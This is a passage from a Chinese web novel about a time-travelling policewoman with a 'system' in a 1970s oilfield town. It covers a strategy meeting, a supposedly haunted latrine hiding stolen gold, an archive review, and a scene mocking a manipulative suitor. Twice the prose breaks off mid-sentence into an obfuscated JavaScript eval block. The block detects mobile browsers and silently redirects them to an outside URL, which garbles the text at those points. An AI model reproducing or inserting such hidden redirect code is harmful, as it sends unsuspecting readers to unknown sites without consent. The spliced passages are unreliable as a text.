大婶儿不屑地撇撇嘴,望向周知行的眼神充满了怜悯:“小伙子,这女人不听话就得教训,不能太惯着......” 姜楠总算是见识到‘拜X癌’的威力了,她翻个大大的白眼儿。她今天总是忍不住翻白眼儿,但谁让今天遇见的奇葩多呢。她翻起来十分的娴熟。 “哦,大娘,那您去找这样儿的好儿媳妇儿呗。把您的要求跟媒婆提一提,看看人家怎么说,是吧?不过我劝您,要求不要太多。毕竟这年头,有工作的女人都硬气,可能达不到您口中好媳妇儿标准的万分之一。除非您家世特别好,不过,啧啧啧。” 姜楠决定用魔法打败魔法,睥睨大婶儿的眼神里满是鄙夷:“我看您,也不像当官的啊。您啊,最好选一头儿,想两头都占,那可不容易。而且,我家这位可觉得我是个非常好的媳妇儿人选呢,是吧?” 周知行赶紧举双手表态:“对,我家小楠可好了,大婶儿您不了解可不能瞎说。我家小楠可是顶顶好的女人。” 姜楠一副算你识相的表情,气得那想张口的,都悻悻闭了嘴。 那帮着说话的大婶儿更是你你你了半天,气得脸红脖子粗的。她见过女人立不起来的,还没见过这么硬气不起来的男人呢。白瞎她好心想帮一帮他了。 时间也不早了,大家看了一回热闹,纷纷起身离开。四人却全然不受影响,开启了四人组第一次会晤。是的,四人出来吃饭,当然得聊一聊主线任务和周知行的安全问题了。 此时国营饭店的人已经很少了,不过姜满城还是压低声音,第一个发言道:“我先说,周知行,你说实话,你来的时候,原来的周知行还在不在?你可得说实话,这个关系到原本的世界里,有没有周知行这个人,是个很严肃的问题。” 周知行点点头,严肃脸道:“我知道,姜叔叔。我来的时候,是感受不到原主的灵魂的。可我观察过原主的身体情况,他应该不会死才是。所以我猜,应该是主系统那边做了手脚,调换了我俩的灵魂。原来的周知行去哪儿了我不清楚,但是我不来,原本的世界里应该也是有这个人的。” 三人望向姜楠,姜楠面无表情:“系统说,原本的周知行去哪儿了是秘密,不能说。不过系统保证了,原本的周知行是同意交换的,他去了更想去的地方。” 众人无奈,姜满城只得将最新的进展告诉周知行,他说:“目前爆炸概率是94%,我们怀疑的凶手是裘盼儿、范桃花和吴春丽三人,因为这三人对概率影响是最大的。当然,程改改那里也需要继续观察。” 周知行搔搔下巴,犹豫道:“有没有可能,让吴春丽代替程改改下乡?我听明白了,不过我觉得,吴春丽和范桃花那里,吴春丽的可能性最大,毕竟范桃花对目前她从事的这个工作,额,应付的还是比较游刃有余的。但吴春丽就不一样了,她年纪小,很可能认为是被母亲害的,之后心里如果怨恨起来,只怕会觉得父亲这边也有错。以后要是再发生点儿什么,很可能会愤世嫉俗,做出什么冲动的事。” 他理了理思路,继续道:“正好,程改改不愿意下乡,吴春丽代替她去,不是就远离了范桃花和她的那些脏事?” “可春丽年纪那么小,要是下乡遇到点儿什么事,后期也是可能黑化的。”姜楠有些担心。 “当然,有可能。但这个黑化程度,肯定没有被至亲之人背刺来的深吧?”周知行分析道,“况且我们也只是把这种选择摆在她的面前,具体怎么选还是看她。你那里不是有知青普法工作吗?我们可以先想想办法,让她去条件没那么艰苦的农村,再给她一些防身的东西,想来就算是在农村,她也能过好的。” “这个可以。”姜满城点头,“我也这么想过,不过具体怎么实施,还需要计划得更详细一些。裘盼儿那里就是凤凰男的事儿了,这个目前不好办,裘盼儿正上头呢,良言难劝该死的鬼,这时候劝是没用的。” “找人去勾引凤凰男?”姜楠提议道。 陈金花拍了拍闺女的头,抬眼瞧了瞧未来女婿,见他并不在意,心里松了一口气,不过还是说道:“小楠,别胡说八道。” “不,小楠不是胡说八道。不过很难找到比裘盼儿条件更好的人。”姜满城叹气,“在凤凰男看来,裘盼儿是父母都有工作的绝户,哪里去找比这更适合吸血的人?就算是绝世美女也不行,这种男人,在乎的就是钱和权,反而对女色没那么在意,或者现在没那么在意。等钱和权捞到手了,那时候才是他安心享用女色的时候。” “那接开裘向东的真面目呢?”姜楠继续说,“咱们都知道,裘向东是有私生子的,如果让凤凰男知道,裘盼儿父母的工作可能不给他们呢?” 四人沉思,很快到了国营饭店关门的时间,四人无法,只得匆匆结束第一次会晤。此时天都暗了,四人没再继续讨论,各自回家休息。 一大早,周知行在楼下等姜楠,却迎来几个眼生的大爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539447|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大妈。他们也是家属院的,只是住在平房,看见周知行还远远站着不敢过来。别看周知行跟姜楠嘻嘻哈哈的,其实在不认识的人面前,还是很有范儿的。原主的外形也相当具有迷惑性,这不,几个大爷大妈都不敢靠近。 见姜楠下楼了,大家这才走过来,你一言我一语地开始报案。 其中一个姓王的老大爷说得最大声,他嚷道:“小楠,你可得查查清楚,这公厕昨晚闹鬼了啊。我们住在平房,家里没茅房,晚上出来解手的时候,妈呀,远远就听见厕所里有女人在哭啊,呜呜呜的,可渗人了。” “不是女人哭。”另一个姓郑的老大妈道,“我听得是小孩子哭,声音可尖了,大老远就能听到。昨晚我们都没敢上厕所呢。这不是说鬼都是封建迷信,咋还有啊?小楠,你是当警察的,可得查清楚。” 得,大早上不能去上班,先去公厕看看吧。 姜楠还真是没咋去过家属院的公厕,她两辈子最不习惯的就是这时候的旱厕了。小时候没住到筒子楼,没办法,她忍了。可自从搬到筒子楼,她宁愿在下面多憋一会儿,也不去公厕的。 这还是如今工作了没办法,不然她能一辈子不去。 刚进去这个味儿啊,真是冲鼻子。她憋住气,捏住鼻子,在女厕里查找了一圈儿,周知行则去了旁边的男厕。大白天,肯定是啥也没有的,就连一些脚印、手印之类可疑的痕迹都没有。 两人很快出来,安慰大爷大妈们,姜楠道:“王大爷,郑奶奶,你们别着急,我和周知行都看过了,目前是没有问题的。估计昨天晚上就是有人遇到啥伤心事,在厕所里哭呢。大家放心,肯定是没鬼的。” “那你们今天晚上看不?大白天肯定是没有,那鬼也是晚上才出来呢。”人群里不知道谁来了一句。 虽说不能宣传封建迷信,可老人们年纪大了,早习惯了这些,你要是揪着这个不放,那是为难人。姜楠和周知行也清楚,况且两人都有秘密,也是相信一些神秘力量的。 姜楠假装没听到,她想了想,道:“这样,上班后,我会把这事儿跟组长说说的,我们今晚就过来看看,肯定抓到在厕所偷哭的人,给大家伙儿一个交代,好吧?” 众人这才放过两人,姜楠和周知行松了一口气,这才骑车离开。 等走远了,姜楠才将老程头以前是神偷,在公厕里藏宝的事儿说了,她接着道:“估计就是老程头搞的鬼,不过不知道为啥,以前看得好好的,也没见他打公厕的主意啊。” 周知行嘴角抽了抽,感叹筒子楼真是卧虎藏龙啊,他说:“我知道为啥。昨天回家,大伯正在训知道呢,他跟隋家小子在公厕里打架,差点儿把内墙撞塌了,估计是因为这个。” 家属院儿的公厕盖得跟后世不一样,进去之后有一处内墙,有一米五高吧,算是遮挡,绕过内墙才是蹲坑。因为就是遮挡用的,内墙也不咋厚,也就一层方砖的厚度,这要是打得凶,是有可能撞塌的。 姜楠恍然,怪不得。老程头的宝物可不就在内墙里。早年盖这个公厕的时候,老程头还没退休,是个泥瓦匠,这墙还是他砌的呢。 不过,姜楠疑惑:“周知道和隋家小子打什么?他俩不是关系不错?” “嗐,大小伙子,还能为啥?”周知行根本没替这个堂弟隐瞒,“知道对程改改有些意思,这不是从外面回来上厕所,听到隋家小子和几个人在里面瞎哔哔,就打起来了嘛。” “这样啊。这知道喜欢改改,我以前可没看出来。” “他就是单相思,人家姑娘根本没看上他。”周知行小声吐槽,“不过,那老程头也是奇怪,他那些东西咋不放家里?这放到公厕,也不怕丢。” 姜楠见路上没人,小声道:“他都没告诉刘奶奶,估计连程大柱都没见过。而且家里还有四岁的小地质爬上趴下的,他估计是不放心。” 放不放心的姜楠也是猜的,不过两人第一次上班迟到,还是好好跟关顺解释了一下的。听说公厕闹鬼,大家还是很感兴趣的,尤其是温强,这就是个傻大胆儿,当即就要去一号院,还是被关顺拦住了:“没听小楠说是晚上嘛,这时候急什么。” 也不怪温强急,就连知道怎么回事儿的姜楠和周知行二人,也都想早些下班,好回去看看老程头如何装神弄鬼。 可老程头又不是傻子,知道警察要来,晚上自然是没出来。 话说他当年虽然是神偷,却不是在白水市做的案,而是在省城。这也容易理解,白水市在发现油田之前,就是一个不起眼的穷地方,自然是没什么富贵人让他下手的。 省城就不一样了。民国之后,省城就是重工业中心,再加上逃过来的满清遗老遗少,有钱人真不老少,老程头简直是如鱼得水。他下手的,都是偷了也不敢声张的人家,像是贪污的官员,搜刮民脂民膏的汉奸,以及偷了主子古董字画的满清遗老。他也不懂什么字画不字画的,通通在鬼市换成了黄金。等凑够了整整二十四条大黄鱼,他才收手,回老家白水市成了亲,过起了老太爷的日子。 做偷儿的,心都独。几十年里,他愣是婆娘、孩子都没告诉。不过估计大柱这个兔崽子是猜到点儿什么,花钱大手大脚的,从不存钱。刘老太这个婆娘倒是个没心眼儿的,跟老程头一个床睡了这么多年,却是啥也没猜到。 老程头之所以把金子放到公厕,还真是姜楠猜的那样,放在家里不放心。另外就是大柱那个小子不消停,婆娘病了之后,常有女同志过来找他,老程头怕儿子是个耳根子软的,再偷了家,他可就得不偿失了,这才起意都放到公厕的。 之前一直没啥事儿,这几天因为勘探队的事儿闹的,家属院人多,还有人在厕所打架,老程头可不就担心了嘛。他的计划是找个机会,把大黄鱼从厕所里起出来。他前几天往家里买了几个大花盆儿,已经栽了一些葱啊蒜啊之类的,等大黄鱼拿回来之后,就放进花盆里,神不知鬼不觉。 在他的计划里,闹鬼只是第一步。等大家都害怕这个公厕了,他才有机会下手不是?可谁知还没等他再加深一下大家的印象呢,姜楠和周知行这两个兔崽子就带着警察来蹲守了。 真是,当了警察就了不起啊,真是能不死他们。 老程头心里骂骂咧咧,不过这三天还是消停了。不消停不行啊,他一个人,怎么跟六组五个人斗啊。 消停的结果就是,六组连续盯了三个晚上,啥都没发现。无法,六组人员也熬不下去了,只得歇了一日。 可就是这么寸,当晚又闹鬼。大家都说,因为警察正气重,邪魔外道不敢上前,可警察一不来,这鬼啊,就又卷土重来了。 45. 宣传与调查组 因着闹鬼,最近大爷大妈们聊天都不在一号院儿了。没办法,大爷大妈们腿脚不好,总不能上下楼地去上厕所吧。反正其他院儿也有公厕,去其他地方聊天儿也是一样的。 他们这个年纪的人,多少还是信这些的,宁愿走老远去别的家属院,也不在一号院呆着。 这不,下班的姜楠和周知行,第一次觉得院子里格外清净,只万年看着公厕的老程头和另几个胆儿壮的老大爷,其他大爷大妈们都转移阵地了。 “你跟那个成美娟以前关系很好?”周知行试探着问。因着上班的时候,何大姐说供销社进了一批的确良布料,两人下班就直奔供销社,可还是去晚了。 的确良可是紧俏物资,一来就引起哄抢。姜楠无法,想跟以前一样问问成美娟有没有货,谁知道这丫头理都不理她。姜楠用脚丫子想就知道,肯定是方南山在背后捣鬼,估计是上次孙巧莲‘借钱’的事儿被他知道了,这小子在背后报复呢。 “没事儿,就是买东西的关系,没啥。不过以后想买好东西可能不容易了。”姜楠感慨。 “这有啥,你等我给你介绍几个老大妈,都是搞‘投机倒把’的老手了,绝对比成美娟关系硬。”周知行大包大揽道。 “你这刚来的,比我知道的还清楚啊?”姜楠调侃。 “你也不看看我前世是干啥的,我可是顶级纨绔,这事我门儿清。” 【宿主,范桃花在小树林里堵住了程大柱,正在商量让吴春丽替程改改下乡的事儿呢。】 姜楠眼睛亮了亮,冲周知行点点头,心道吴春丽果然动了心。 周知行会意,两人相视而笑。计谋不在多高端,有用就行,这不,鱼儿咬钩了。咳咳,这可不是他俩干的啊,他俩是警察,是姜满城、陈金海和陈万里一起做的局。陈万里可是放下工作,倾情出演呢。 嗯,他俩不知情,毫不知情。 言归正传,话说范桃花那里,因着上次姜楠的威胁,她最近的‘生意’格外不好。她又是被大家伙儿盯上的,做啥都不方便,心里那个气啊,不能冲别人,还不能打自个儿闺女了?! 要么说人性复杂呢,范桃花当初离婚,想着闺女在吴家能吃饱穿暖,是咬死了吴春丽是吴大锤的种。其实是不是的,她也不清楚。那一段时间吴大锤经常出差,她的人可不少,吴春丽长得又跟她一个模子出来似的,光看长相那是看不出来的。她虽说是自私不想带着孩子受拖累,可也有一分半分是为了孩子着想。 可自从被娘家赶了出来,她就又想起了闺女,还打着让闺女帮她兜揽生意的主意。这都不是没良心,是妥妥的作恶了。可她范桃花为了过好日子,还是眼睛都没眨就做了。如今生意不好,又怪罪起了孩子,打人那是真下狠手的。而且范桃花还不往能看见的地方招呼,专打那些大腿根儿、前胸等隐秘的地方,让吴春丽有苦说不出。 吴春丽被打得难受,买菜的时候正好听到前面有人在说下乡的事儿,她咬咬牙,觉得如今的日子还不如下乡,下乡至少是清清白白的大姑娘,可跟着她妈...... 范桃花听说吴春丽要下乡,倒是没一口拒绝。虽说她当时是付出了点儿代价,才把闺女的名字从知青办里划下来,可此一时彼一时,她想起了前两天见过的那件事儿。 那天中午,她去废品收购站后面的小树林里做‘生意’,无意中见到不远处有三个人,两男一女,像是在商量什么事儿,拉拉扯扯的,情绪十分激动。她赶紧藏起来,这才听到几个人的对话。 只听一个男人焦急道:“大魁兄弟,这都要下乡了,你家咋能现在变卦呢?是不是想加钱,你这不厚道啊。” 另一个被称作大魁的男人冷笑两声,粗声粗气地道:“二狗子,这可怪不了我。你家原来说的,是去临市的农村,那我家凤丫头替你们家小雯去也没啥。但如今你们又改口,说是去大西北,这可不行。大西北那么苦,就不是人去的地方,我们家凤丫头在家里也是宠着长大的,可不能去吃这个苦。” 有一个女人低骂了几句,听着像是二狗子的媳妇儿,范桃花小心翼翼地探头去看,见有两人凑在一处偷偷商量了一会儿,没过多久,那个二狗子咬牙道:“两百,我家出两百,让凤丫头替我家小雯去下乡,这总行了吧?你们要是再拿乔,我们就去找别人。这年头,两百可不是小钱了。” 大魁哈哈笑了两声,几人像是谈妥了,偷偷摸摸出了小树林。范桃花藏在一棵树后,目睹了全过程,第一次知道,还有代替下乡这门‘生意’。两百,这可是两百呢。 范桃花眼珠子转了转,如今春丽不能帮她兜揽生意了,留下来她也养不起,不如下乡去。她也不全要这个钱,给春丽一百块,她范桃花拿一百,也算是丫头给的养老钱了,大不了以后不让这丫头养老。 想到这里,范桃花看着眼前的丫头,觉得还是有几分用处的,她柔声说:“春丽,你别急,我去想想办法,肯定让你去一个没那么苦的地方。你别怪娘,这几天家里都揭不开锅了,娘也是心里急。” 吴春丽低着头,全程一言不发。 范桃花心里骂一句闷葫芦,不过很快想到了程大柱。她可是听说了的,程家的大闺女改改,被老程头报名下乡了。以老程家的做法,估计也不是啥艰苦的地方,到时候春丽代他们家改改去,岂不是两全其美?她可是知道的,程大柱这个人手松得很,平时花钱大手大脚的,又不是完全不疼闺女的人,估计会很舍得花这个钱的。 这不,等了两天,范桃花就找上了门。一番云雨后,范桃花很自然地问起了改改下乡的事儿,她说:“你家咋舍得让改改下乡的?不是都供到高中了,你家就舍得?” 程大柱也在为这件事儿烦心,他也重男轻女,但闺女在他心里也是有用处的,这嫁得好,也能帮衬兄弟不是。可如今老爷子谁都没商量,就给丫头报了名下乡。虽然是在临市,但也是农村啊。这一干活儿,皮子就糙了,还能嫁得好? 他不耐烦地整理着衣服,斜睨了范桃花一眼,说:“你倒是有闲心?” 范桃花也不恼,她媚眼如丝地睨了程大柱一眼,嗔怪道:“这一日夫妻百日恩,我们都多少日的夫妻了,我这不也是替你发愁嘛,你还怪人家。” 她眼含春意,继续柔声道:“你看我家春丽替改改下乡咋样?这农村谁认识谁啊,是吧,到时候就说春丽是改改,油田这么大,谁知道?再说,我也是认识知青办的人的,你要是同意,我就去办,只是......” 她捻了捻手,笑着说:“这啥时候办事儿,都少不了这个,是吧?” 程大柱整理上衣的手一顿,他狐疑地打量范桃花,说:“你还有这关系?能办妥?” “小瞧人了不是?”范桃花抛了个媚眼儿,挺了挺胸脯,骄傲道,“就没有我范桃花拿不下的男人。” 虽然在姜满城眼里,范桃花姿色一般,但其实在油田,那也是数得着的了。要不是生在农村,她哪里会嫁给区区一个吴大锤?早凭借外貌嫁给当官儿的,去当官太太了。 程大柱见状倒是认真思考了起来,他是厨子,还是食堂里负责小灶的,对作业处的领导还是很熟悉的。他这几天瞄准了几个合适的,就等着打听清楚了,让闺女嫁过去呢。 他沉吟片刻,开口道:“你要是能办妥,我给你一百六十块钱,怎么样?不少了吧,这可是我全部家当了,你能办就办,不能办也别想着贪这个钱,我程大柱也不是你能骗的。” 两人在小树林一阵你来我往,最终商定了二百块的价格。 姜楠听了个全场。知道计划顺利进行,她也就不再关注了。剩下无非就是一些改名字之类的事,她是外勤,管不了这些。 很快,半个月时间过去,总部宣传科来作业处宣传处罚条例,第六组全员都忙碌起来。六组是配合宣传和档案调查工作,而其他组则是去作业处各小区摸排,核实户口、登记入住人和实际入住人是否相符等,整个派出所都分外忙碌。 宣传科一共来了六个人,四男两女,带队的是一个姓宋的主任,头发有些秃,见人三分笑,是个很会来事儿的。 见到沈所长、蓝副所长和关顺,一律笑脸相迎,对作业处的宣传科同事更是热情地直散烟:“感谢,感谢大家对我们工作的支持。” 就连见到姜楠和周知行,都一律“年轻有为”,词儿一套一套的。 就在姜楠以为这是个办公室老油子的时候,沈所长带着蓝青山、关顺、她以及周知行开小会,姜楠这才知道,这位居然是安全部门的人。 这真是,演技太好了啊。 宋主任一改刚才的笑模样,严肃着脸说:“见笑了。我这也不知道做的咋样,不过能糊弄过去就行。咱们说正事儿,这次摸底,我们会将第十作业处所有人员,包括家属的档案都过一遍。时间紧任务重,同时还要负责宣传工作,沈所,蓝所,你们看,这人员怎么安排比较好?” “你们组能抽出来几个人去宣传?”沈所也没废话,直接问。 “一个,其他人都得看档案。好在作业处宣传科的人不少,宣传工作主要还是靠他们。” 宋主任倒是没说虚的,沈所长点点头,也道:“那我们这边,就让温强、邹立和小何去盯着宣传的事,小何是女同志,正好可以配合妇女宣传的工作。小楠、小周、关顺、青山我们几个一起看档案,怎么样?” 几人都没意见。温强、邹立和何琳不知道调查组的事儿,也没参加小会,不过三人也都没异议,能跟着去各个大队宣传也是很好的事,那是包午饭的,吃得绝对不比食堂差。 因着事情是原来特车队里的职工干的,这宣传第一站,当然就是特车队了。 一大早,六组的人分开行动,温强、邹立去特车队的大院,姜楠、周知行和关顺则跟着宋主任,去作业处办公楼里看档案。 档案这么重要的东西,还是不要随意搬动的好。中间要是有什么闪失,可是很麻烦的。因此宋主任倒是也没有要求将档案搬到派出所,而是带着人直接去了作业处办公楼的档案室。 这不是巧了嘛,姜满城正是档案室管理员,因为工龄长,还是个头儿呢。不过档案室这种地方,没什么人,加上姜满城也就两个人,他这个头儿,也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548384|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比光杆司令好那么一点点。 别看档案室人少,地方还是很大的,毕竟上万的档案,不是小数目,怎么也得有地方放不是。档案室有个近一百平,是个很大的屋子了。门后就支着桌子,正好挡住门,谁进去都得登记,确认过文件后才能放人,要求还是很严格的。 大清早,姜满城就接到了办公室主任的命令,说是总部要来人查档案,让他全力配合。这种事年年都有,毕竟油田内部人员调动还是挺多的。他也没当回事儿,谁知道看到了他闺女。 “小楠,你怎么来了?”既然接到了命令,姜满城当然装着很勤奋的样子,和同事杨大志坐在桌子后发呆。这猛地看到闺女,姜满城当即惊讶地叫了出来。 声音还没落,旁边杨大志的眼睛立马如探照灯一样射过来,这特招进派出所的小丫头,原来长这样啊。他可没少听姜满城吹牛,听说还要招赘呢,啧啧。他在人群里打量,想看看到底是招赘的哪个小子。 “嘿嘿,爸,我帮着来看档案。”姜楠笑起来,忽略掉杨大志探寻的目光。亏她一路还担心她爹偷懒被大家发现呢,没想到她爹早有准备,真不愧是混过后宫的啊,这警觉性,真是没谁了。 周知行看了眼未来岳父大人的工作环境,真是感慨来晚了啊,要不然这种好地方,好赖他也得插一脚的。现在,哎,旁边那个探照灯中年男,一看就是同路人,挤不走啊。 当着这么多人的面,父女俩也不好多说话,只略微寒暄了两句,登记了表格,一行十人,迅速埋入了档案的海洋。 上万的档案,第一轮就是初筛,把很难出问题的,像是退伍兵、老坐地户这些的排除,容易出问题的都挑出来,后面才能仔细看。不然就十个人看这么多人的档案,就是日夜不休,也是看不完的。 因着时间紧,午饭都是姜楠去食堂打回来的。当然,路上姜满城给自家闺女送了一块儿卤猪肝,盯着闺女吃完了才放人。 大家匆匆扒拉两口,又埋头看起来。这份认真工作的劲头,姜楠还真是佩服,虽然她做不到,但不妨碍她佩服这个年代的人,那真是很单纯很崇高的。 因着一天都埋头看档案,姜楠第一次觉得无聊。哎,上辈子整日在办公室里办公的日子,一去不复返了。自从有了系统,她是整日在外面蹿啊,如今乍然让她在屋子里呆一整天,她还有些不习惯了。 看完档案还不算完,五点半了,大家还要去派出所开会,交流一下今天的收获,争取让明天的工作更有方向性。 忙完一天的工作,姜楠感觉身体被掏空,比在外面拉一天架还累。 从车棚推出车子,周知行见姜楠无精打采的,笑着说:“走,带你去认识个人。” 姜楠抬起眼皮儿,懒懒地问:“啥人?你的狐朋狗友啊?” “哎,我说姜楠同志,看来你对我很有偏见哦。我的朋友怎么就是狐朋狗友了?那可都是跟我一样的青年才俊好不好。” 两人推着自行车出了派出所的院子,周知行低声道:“你不是想买布料?正好,我认识一个老大妈,她有货,你要不要?” 姜楠这才来了些兴趣,她轻声问:“你在哪儿认识的?” “这你就别管了,走,跟我来。”周知行骑上自行车,在前面带路。 两人很快来到玻璃钢小区,周知行熟门熟路地来到西南角的一处房子前,轻轻敲了两下门,一个挽着花白发髻,身穿斜襟长褂的老太太开了门,见是周知行,立马笑了:“哎呦,小行啊,你可算是想起来看大娘了。” 老太太笑得见牙不见眼,看见姜楠,小眼睛泛出亮亮的光:“哎呦,你是小行对象吧?快进来,进来。” 她关上门,压低声音,小声道:“小行你这来得够巧的,我这刚来的货,快进来选选。” 房子是一个不大的开间,中间并没有隔断,也就二十平的样子,除了一张床一张桌子,其余地方摆得满满当当,不是包袱就是麻袋的,连下脚的地方都难找。 老太太神神秘秘地解开一个褐色包袱,让姜楠和周知行随便选。 包袱一打开,姜楠眼睛都亮了,的确良,还是红色碎花的,这可比何琳在供销社买的还好。姜楠二话不说付钱拿下,虽然老太太说是瑕疵布,但绝对不耽误做衣服的,她买到就是赚到啊。 姜楠前世就是个设计师,可是很会做衣服的,这要是做一身连衣裙,她想想就笑了。 付过钱要出门了,老太太还拉着周知行的手,不依不舍地说:“小行啊,你可得常来,放心,大妈这儿的料子都给你媳妇儿留着,她挑完了我再让其他人看。” “哎呦,那感情好,您可是这个。”周知行竖着大拇指,老太太笑得开怀。 等两人出了小区,姜楠才问:“你可真能说。你怎么认识的兰奶奶?” “嗐,那不是还没入职的时候,兰奶奶去买煤,搬不动,我帮了一下手,这就认识了。你放心,兰大妈是供销社主任的表姨。那主任父母缘浅,是兰奶奶照顾他长大的,她能弄到瑕疵布也是因为这个。不是什么不好的门路,我是警察,这点儿觉悟还是有的。” 46. 怀疑 因着下班去玻璃钢小区买布,两人回去时,特意饶了路,选了平时不太走的一条路回去。路过供销社的冷饮摊子时,好巧不巧的,又遇见个熟人。 哦,也不能说是熟人,毕竟就见过一面,还破坏了这男人的姻缘。 也是这渣男太令人印象深刻了,再次遇见,姜楠第一时间就想起来是谁了。 没错,这男人不是别个,正是上次在国营饭店遇见的,想PUA她人的渣男‘建华哥’。 姜楠可不觉得那次拆人姻缘不对,虽然宁拆十座庙不毁一桩婚,但她可是挽救了一名女同志呢。 不过她还是问了下系统:“是不是上次那个渣男?” 【是的,宿主。】 也许是上次那个姑娘醒悟了,果断和渣男‘建华哥’分手,这次渣男身边倒是换了一个女同志。看那情形,渣男是在教训人? 那女同志的神情,时而痛苦,时而顺服,矛盾极了。 姜楠一看就知道,渣男又在PUA了。她眼珠子转了转,小声道:“我们去买瓶汽水儿。” 周知行挑眉,跳下车子跟在后面。 不远处,渣男的声音断断续续传来:“咱们做人要勤俭节约,今天天气又不是很热,怎么就到了喝汽水儿的地步了?玲子,咱们都是做工人的,家庭条件也没有多好,怎么能养成大手大脚的习惯呢?勤俭节约可是咱们民族的传统美德,咱们在日常的生活中,该是秉持这一点才是的。热有什么,忍忍就过去了。而且我看呐,这汽水儿可是资产阶级贪图享乐的产物,是应该取缔的。你看看,这黄橙橙的,里面还不知道加了什么呢。回家喝白开水不好吗?又解渴又安全的,走吧,咱们不买。” 被称作玲子的女同志神情有些痛苦,她说:“我没说勤俭节约不好,我就想喝个汽水,我......我有工资的,我买瓶汽水没什么吧。” 男人见玲子竟然敢回嘴,气愤道:“这是一瓶汽水的事儿吗?我说的是你的思想,是你贪图享乐,不知道艰苦朴素、勤俭节约的思想。是,你有工资,可你的工资是你自己的吗?你不要孝顺父母,供养弟弟妹妹吗?将来成家,不要孝顺公婆,供养孩子吗?玲子,你太让我失望了。这不是一瓶两瓶汽水儿的事儿,你的思想出现了严重的滑坡,你......” 姜楠白眼儿翻得飞起,她看了一眼周知行,语气十分的骄纵,她说:“这天儿可真热,我告诉你,我要喝汽水儿,而且必须是最贵的北冰洋,去给我买,买两瓶,听到没有?” 周知行也和姜楠接触这么长时间了,当然知道她想干嘛,忙支支吾吾道:“小楠,汽水儿太冰了,不好喝,咱们回家喝白开水......” 姜楠跺了跺脚,哼了一声:“不行,我就要喝汽水儿。你是不是舍不得花钱?好啊,你可真够小气的。我不管,我就要喝。我又不是没工资,喏,给,这是买汽水儿的钱,你去买吧。我今儿必须喝上这个汽水儿!” 姜楠掏出一块钱,啪一声拍到周知行手上,十分的嚣张。 周知行迟疑:“这不好吧,你看,这位男同志说了,汽水儿是资产阶级贪图享乐的产物,是......” “你放屁。”姜楠高声,十成十的骄纵少女,她清脆地说,“要是资产阶级的产物,国家怎么不取缔?还开工厂,让供销社、百货商店都卖汽水儿?哼,这不是说明,国家和领导人都认为,汽水儿是可以存在的嘛。怎么,你比领导人还厉害?笑话!” 她哼一声,眼神儿十分的轻蔑,昂着头,继续开口:“再说,我喝汽水儿,可是对国家对社会都有益的。” 周知行忍笑,适时露出不解:“好了,我买,我买还不行嘛。小楠,咱就别说大话了,你看,大家可都看着咱们呢。” 可不是,姜楠这骄纵的样子,惹得冷饮摊前好几个小伙子小姑娘看过来。 不过姜楠可不在乎,多看看才好呢。 多看看,有了对比,才知道身边的男人是人是鬼。 她嘎嘣脆地开口:“我怎么说大话了?我花钱喝汽水儿,是不是让汽水儿有了销路?不然要是卖不出去,这个冷饮摊子是不是就得关门了?这卖汽水的姐姐不就得失业没工作了?正是因为有我们这些喝汽水儿的人,才让这么多的冷饮摊子存在,才让汽水儿厂能够一直开下去!你想想,汽水厂少说也有百十来号工人吧,要是没人喝汽水儿,那这些工人不都得失业?工人失业,家里人可都要过苦日子了。你看,我们喝汽水,可不是在做好事儿嘛。” 她哼一声,十分的傲娇:“你说说,喝汽水是不是对国家对社会都有益?哼,我才没说大话,我说的可都是有道理的。” 旁边,被称作玲子的女人眼睛越来越亮。 对啊,她才不是不知道节约,她喝汽水又没错! 想到这里,玲子不顾男人的劝阻,毅然走向冷饮摊子,大大方方地掏出钱:“同志,我要两瓶北冰洋!” 渣男眼神儿愤恨地瞪着姜楠,仿佛要用眼神把人灼伤。 正想着,他灵光一闪。这个女人,不就是那次在国营饭店,破坏他和小茹的那个? 渣男眯了眯眼,眼神儿越来越阴郁。小茹条件那么好,本来已经快被他拿下了。结果半路杀出个程咬金,被这个女人横插一杠子! 如今好了,到手的鸭子就这么飞了。他只能退而求其次,找了玲子这么一个条件不好不坏的,可这个女人怎么又出现了? 他的眼神儿太过愤恨,以至于玲子买完汽水转身时,不期然被吓了一跳。 玲子是炼油厂的女工,是接她爸爸的班才有的工作。组长看她还没对象,就介绍了建华。可几次接触下来,她总觉得这个建华给人的感觉很不舒服。但他每次说的话又是很有道理的,她说不出反驳的话。 而且她知道,她的条件也就一般般。家里要不是两个弟弟还小,爸爸出事儿也轮不到她接班。接班时家里都说好了的,等大弟弟长大,工作就得让给弟弟。 建华家里虽然母亲没工作,身子还不好,时常要吃药,脾气也有些难缠,可他和他爸爸都是有工作的,他还有两个姐姐能够帮衬。每次想到这里,她都狠不下心拒绝,就这么硬着头皮接触到现在。 可这次,看到这个眼神儿,玲子第一次有了和建华断了的冲动。这个眼神儿太吓人了,她愣在那里久久没有动作。 建华回过神,见玲子不动,挤出个笑走过去,接过一瓶汽水儿喝起来,不过开口仍是打压。虽然被人破坏了,可他绝不放弃,他说:“这次就算了,下次可不能这么奢侈。” 他又喝了一口汽水,继续教育道:“我都是为你好,你的工资可不都是自己的,你家里爸爸妈妈要不要养?再说,还有两个弟弟。而且结婚之后,家用......” 